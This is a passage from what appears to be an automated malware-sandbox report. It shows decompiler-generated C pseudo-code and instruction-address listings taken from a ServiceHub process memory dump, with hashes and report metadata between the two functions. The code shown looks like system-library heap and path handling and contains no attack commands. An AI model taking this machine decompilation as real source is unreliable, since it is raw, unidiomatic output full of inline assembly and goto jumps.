											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E011E9710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E011E6DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E011EF3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E011EF3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E011EF3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E011EFA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E011EFA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E011EF3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E011EF3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E01274CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E011FD130(_t427, _t494, _t511);
				}
			}










































































                                          0x01275ba5
                                          0x01275baa
                                          0x01275baf
                                          0x01275bb4
                                          0x01275bb6
                                          0x01275bbc
                                          0x01275bbe
                                          0x01275bc4
                                          0x01275bcd
                                          0x01275bd3
                                          0x01275bd6
                                          0x01275bdc
                                          0x01275be0
                                          0x01275be3
                                          0x01275beb
                                          0x01275bf2
                                          0x01275bf8
                                          0x01275bfe
                                          0x01275c04
                                          0x01275c0e
                                          0x01275c18
                                          0x01275c1f
                                          0x01275c25
                                          0x01275c2a
                                          0x01275c2c
                                          0x01275c32
                                          0x01275c3a
                                          0x01275c3f
                                          0x01275c42
                                          0x01275c48
                                          0x01275c5b
                                          0x01275c5b
                                          0x01275c2c
                                          0x01275cb7
                                          0x01275cb9
                                          0x01275cbf
                                          0x01275cc2
                                          0x01275cca
                                          0x01275ccb
                                          0x01275ccb
                                          0x01275cd1
                                          0x01275cd7
                                          0x01275cda
                                          0x01275ce1
                                          0x01275ce4
                                          0x01275ce7
                                          0x01275ced
                                          0x01275cf3
                                          0x01275cf9
                                          0x01275cff
                                          0x01275d08
                                          0x01275d0a
                                          0x01275d0e
                                          0x01275d10
                                          0x00000000
                                          0x00000000
                                          0x01275d16
                                          0x01275d1a
                                          0x00000000
                                          0x00000000
                                          0x01275d20
                                          0x01275d22
                                          0x01275d25
                                          0x01275d2f
                                          0x01275d2f
                                          0x01275d33
                                          0x01275d3d
                                          0x01275d49
                                          0x01275d4b
                                          0x00000000
                                          0x00000000
                                          0x01275d5a
                                          0x01275d5d
                                          0x01275d60
                                          0x00000000
                                          0x00000000
                                          0x01275d66
                                          0x01275d69
                                          0x00000000
                                          0x00000000
                                          0x01275d6f
                                          0x01275d6f
                                          0x01275d73
                                          0x01275d79
                                          0x01275d7f
                                          0x01275d86
                                          0x01275d95
                                          0x01275d98
                                          0x01275dba
                                          0x01275dcb
                                          0x01275dce
                                          0x01275dd3
                                          0x01275dd6
                                          0x01275dd8
                                          0x01275de6
                                          0x01275dec
                                          0x01275dee
                                          0x01275df1
                                          0x01275df3
                                          0x0127635a
                                          0x0127635a
                                          0x00000000
                                          0x0127635a
                                          0x01275dfe
                                          0x01275e02
                                          0x01275e05
                                          0x01275e07
                                          0x01275e10
                                          0x01275e13
                                          0x01275e1b
                                          0x01275e1c
                                          0x01275e21
                                          0x01275e22
                                          0x01275e23
                                          0x01275e25
                                          0x01275e2a
                                          0x01275e2c
                                          0x01275e2e
                                          0x01275e36
                                          0x01275e39
                                          0x01275e42
                                          0x01275e47
                                          0x01275e4d
                                          0x01275e54
                                          0x01275e54
                                          0x01275e54
                                          0x01275e2e
                                          0x01275e5c
                                          0x01275e5f
                                          0x01275e62
                                          0x01275e64
                                          0x01275e6b
                                          0x01275e70
                                          0x01275e7a
                                          0x01275e7a
                                          0x01275e7a
                                          0x01275e6b
                                          0x01275e7e
                                          0x01275e7f
                                          0x01275e7f
                                          0x01275e81
                                          0x01275e87
                                          0x01275e8b
                                          0x01275e8c
                                          0x01275e8c
                                          0x01275e8c
                                          0x01275e9a
                                          0x01275e9c
                                          0x01275ea2
                                          0x01275ea6
                                          0x01275f50
                                          0x01275f50
                                          0x01275f57
                                          0x01275f66
                                          0x01275f66
                                          0x01275f66
                                          0x01275f68
                                          0x01275f6a
                                          0x012763d0
                                          0x00000000
                                          0x01275f70
                                          0x01275f70
                                          0x01275f91
                                          0x01275f9c
                                          0x01275f9e
                                          0x01275fa4
                                          0x01275fa6
                                          0x0127638c
                                          0x01276392
                                          0x012763a1
                                          0x012763a7
                                          0x012763af
                                          0x012763af
                                          0x012763bd
                                          0x012763d8
                                          0x00000000
                                          0x012763d8
                                          0x01275fac
                                          0x01275fb2
                                          0x01275fb4
                                          0x01275fbd
                                          0x01275fc6
                                          0x01275fce
                                          0x01275fd4
                                          0x01275fdc
                                          0x01275fec
                                          0x01275fed
                                          0x01275fee
                                          0x01275fef
                                          0x01275ff9
                                          0x01275ffa
                                          0x01275ffb
                                          0x01275ffc
                                          0x01276000
                                          0x01276004
                                          0x01276012
                                          0x01276012
                                          0x01276018
                                          0x01276019
                                          0x0127601a
                                          0x0127601b
                                          0x0127601c
                                          0x01276020
                                          0x01276059
                                          0x0127605c
                                          0x01276061
                                          0x01276061
                                          0x01276022
                                          0x01276022
                                          0x01276022
                                          0x01276025
                                          0x0127602a
                                          0x0127602b
                                          0x01276031
                                          0x01276037
                                          0x01276038
                                          0x0127603e
                                          0x01276048
                                          0x01276049
                                          0x0127604a
                                          0x0127604b
                                          0x0127604c
                                          0x0127604d
                                          0x01276053
                                          0x01276054
                                          0x01276054
                                          0x01276062
                                          0x01276065
                                          0x01276067
                                          0x0127606a
                                          0x01276070
                                          0x01276075
                                          0x01276076
                                          0x01276081
                                          0x01276087
                                          0x01276095
                                          0x01276099
                                          0x0127609e
                                          0x012760a4
                                          0x012760ae
                                          0x012760b0
                                          0x012760b3
                                          0x012760b6
                                          0x012760b8
                                          0x012760ba
                                          0x012760ba
                                          0x012760ba
                                          0x012760ba
                                          0x012760be
                                          0x012760c0
                                          0x012760c5
                                          0x012760c5
                                          0x012760c5
                                          0x012760c6
                                          0x012760cd
                                          0x01276114
                                          0x012760cf
                                          0x012760cf
                                          0x012760d4
                                          0x012760d5
                                          0x012760da
                                          0x012760db
                                          0x012760e1
                                          0x012760e2
                                          0x012760e8
                                          0x012760f8
                                          0x012760fd
                                          0x012760fe
                                          0x01276102
                                          0x01276104
                                          0x01276107
                                          0x01276109
                                          0x0127610b
                                          0x0127610b
                                          0x0127610b
                                          0x0127610b
                                          0x0127610f
                                          0x0127610f
                                          0x01276117
                                          0x0127611a
                                          0x0127611f
                                          0x01276125
                                          0x01276134
                                          0x01276139
                                          0x0127613f
                                          0x01276146
                                          0x01276148
                                          0x0127614b
                                          0x0127614d
                                          0x0127614f
                                          0x0127614f
                                          0x0127614f
                                          0x0127614f
                                          0x01276153
                                          0x01276159
                                          0x01276159
                                          0x0127615c
                                          0x01276163
                                          0x01276169
                                          0x0127616c
                                          0x01276172
                                          0x01276181
                                          0x01276186
                                          0x01276187
                                          0x0127618b
                                          0x01276191
                                          0x01276195
                                          0x012761a3
                                          0x012761bb
                                          0x012761c0
                                          0x012761c3
                                          0x012761cc
                                          0x012761d0
                                          0x012761dc
                                          0x012761de
                                          0x012761e1
                                          0x012761e4
                                          0x012761e6
                                          0x012761e8
                                          0x012761e8
                                          0x012761e8
                                          0x012761e8
                                          0x012761e6
                                          0x012761ec
                                          0x012761f3
                                          0x01276203
                                          0x01276209
                                          0x0127620a
                                          0x01276216
                                          0x0127621d
                                          0x01276227
                                          0x01276241
                                          0x01276246
                                          0x0127624c
                                          0x01276257
                                          0x01276259
                                          0x0127625c
                                          0x0127625e
                                          0x01276260
                                          0x01276260
                                          0x01276260
                                          0x01276260
                                          0x0127625e
                                          0x01276264
                                          0x01276267
                                          0x01276269
                                          0x01276315
                                          0x01276315
                                          0x0127631b
                                          0x0127631e
                                          0x01276324
                                          0x01276327
                                          0x0127632f
                                          0x01276330
                                          0x01276333
                                          0x0127633a
                                          0x0127633c
                                          0x01276335
                                          0x01276335
                                          0x01276335
                                          0x0127633f
                                          0x01276342
                                          0x0127634c
                                          0x01276352
                                          0x01276355
                                          0x01276355
                                          0x01276359
                                          0x00000000
                                          0x0127626f
                                          0x01276275
                                          0x01276275
                                          0x01276278
                                          0x0127627e
                                          0x0127627e
                                          0x01276281
                                          0x01276287
                                          0x0127628d
                                          0x01276298
                                          0x0127629c
                                          0x012762a2
                                          0x0127629e
                                          0x0127629e
                                          0x0127629e
                                          0x012762a7
                                          0x012762a7
                                          0x012762aa
                                          0x012762b0
                                          0x012762f0
                                          0x012762f0
                                          0x012762f2
                                          0x012762f8
                                          0x012762fd
                                          0x012762b2
                                          0x012762b2
                                          0x012762b2
                                          0x012762b5
                                          0x012762dd
                                          0x012762e2
                                          0x012762e5
                                          0x012762b7
                                          0x012762b8
                                          0x012762bb
                                          0x012762bd
                                          0x012762c0
                                          0x012762c4
                                          0x012762cd
                                          0x012762cd
                                          0x012762c0
                                          0x012762bb
                                          0x012762b5
                                          0x01276302
                                          0x01276303
                                          0x01276305
                                          0x01276305
                                          0x01276305
                                          0x0127630c
                                          0x0127630c
                                          0x00000000
                                          0x0127627e
                                          0x01276269
                                          0x01275eac
                                          0x01275ebb
                                          0x01275ebe
                                          0x01275ecb
                                          0x01275ecb
                                          0x01275ece
                                          0x01275ece
                                          0x01275ed4
                                          0x01275ed7
                                          0x01275ed9
                                          0x01275edb
                                          0x01275edb
                                          0x01275ee1
                                          0x01275ee1
                                          0x01275ee3
                                          0x01275f20
                                          0x01275f20
                                          0x01275ee5
                                          0x01275ee5
                                          0x01275ee5
                                          0x01275ee8
                                          0x01275f11
                                          0x01275f18
                                          0x01275eea
                                          0x01275eea
                                          0x01275eed
                                          0x01275ef2
                                          0x01275ef8
                                          0x01275efb
                                          0x01275f0a
                                          0x01275f0a
                                          0x01275eed
                                          0x01275ee8
                                          0x01275f22
                                          0x01275f28
                                          0x00000000
                                          0x00000000
                                          0x01275f30
                                          0x01275f31
                                          0x01275f37
                                          0x01275f3a
                                          0x01275f3d
                                          0x01275f44
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01275f46
                                          0x01275f48
                                          0x01275f4d
                                          0x00000000
                                          0x01275f4d
                                          0x01275dda
                                          0x01275ddf
                                          0x00000000
                                          0x01275ddf
                                          0x01275dd8
                                          0x01275da7
                                          0x01275da9
                                          0x01275dac
                                          0x01275dae
                                          0x00000000
                                          0x01275db4
                                          0x01275db4
                                          0x00000000
                                          0x01275db4
                                          0x01275dae
                                          0x01275d88
                                          0x01275d8d
                                          0x01276363
                                          0x01276369
                                          0x0127636a
                                          0x01276370
                                          0x01276372
                                          0x0127637a
                                          0x0127637b
                                          0x0127637d
                                          0x00000000
                                          0x00000000
                                          0x0127637f
                                          0x01276385
                                          0x00000000
                                          0x01276385
                                          0x01275d38
                                          0x01275d3b
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01275d3b
                                          0x01275d27
                                          0x01275d29
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01276360
                                          0x00000000
                                          0x01276360
                                          0x01275c10
                                          0x01275c10
                                          0x012763da
                                          0x012763e5
                                          0x012763e5

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 5f6bca0d07e8eb276e95c9beab7764f48ce3c0549ec339be8d1b048895ca1307
                                          • Instruction ID: 1dddd65fc2b90a1e4a1d71a41e440ce5f0a3e01c78c2e0082d4193165f21bba8
                                          • Opcode Fuzzy Hash: 5f6bca0d07e8eb276e95c9beab7764f48ce3c0549ec339be8d1b048895ca1307
                                          • Instruction Fuzzy Hash: B6425D7191062ACFEB24CF68C881BAAFBB1FF45704F1481AAD94DEB242D7749985CF50
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011C4120 Relevance: .4, Instructions: 444COMMONCrypto
                                          Download Yara Rule
                                          C-Code - Quality: 92%
                                          			E011C4120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x129d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E011DF232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E011C6E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L011C4620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E011C6E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
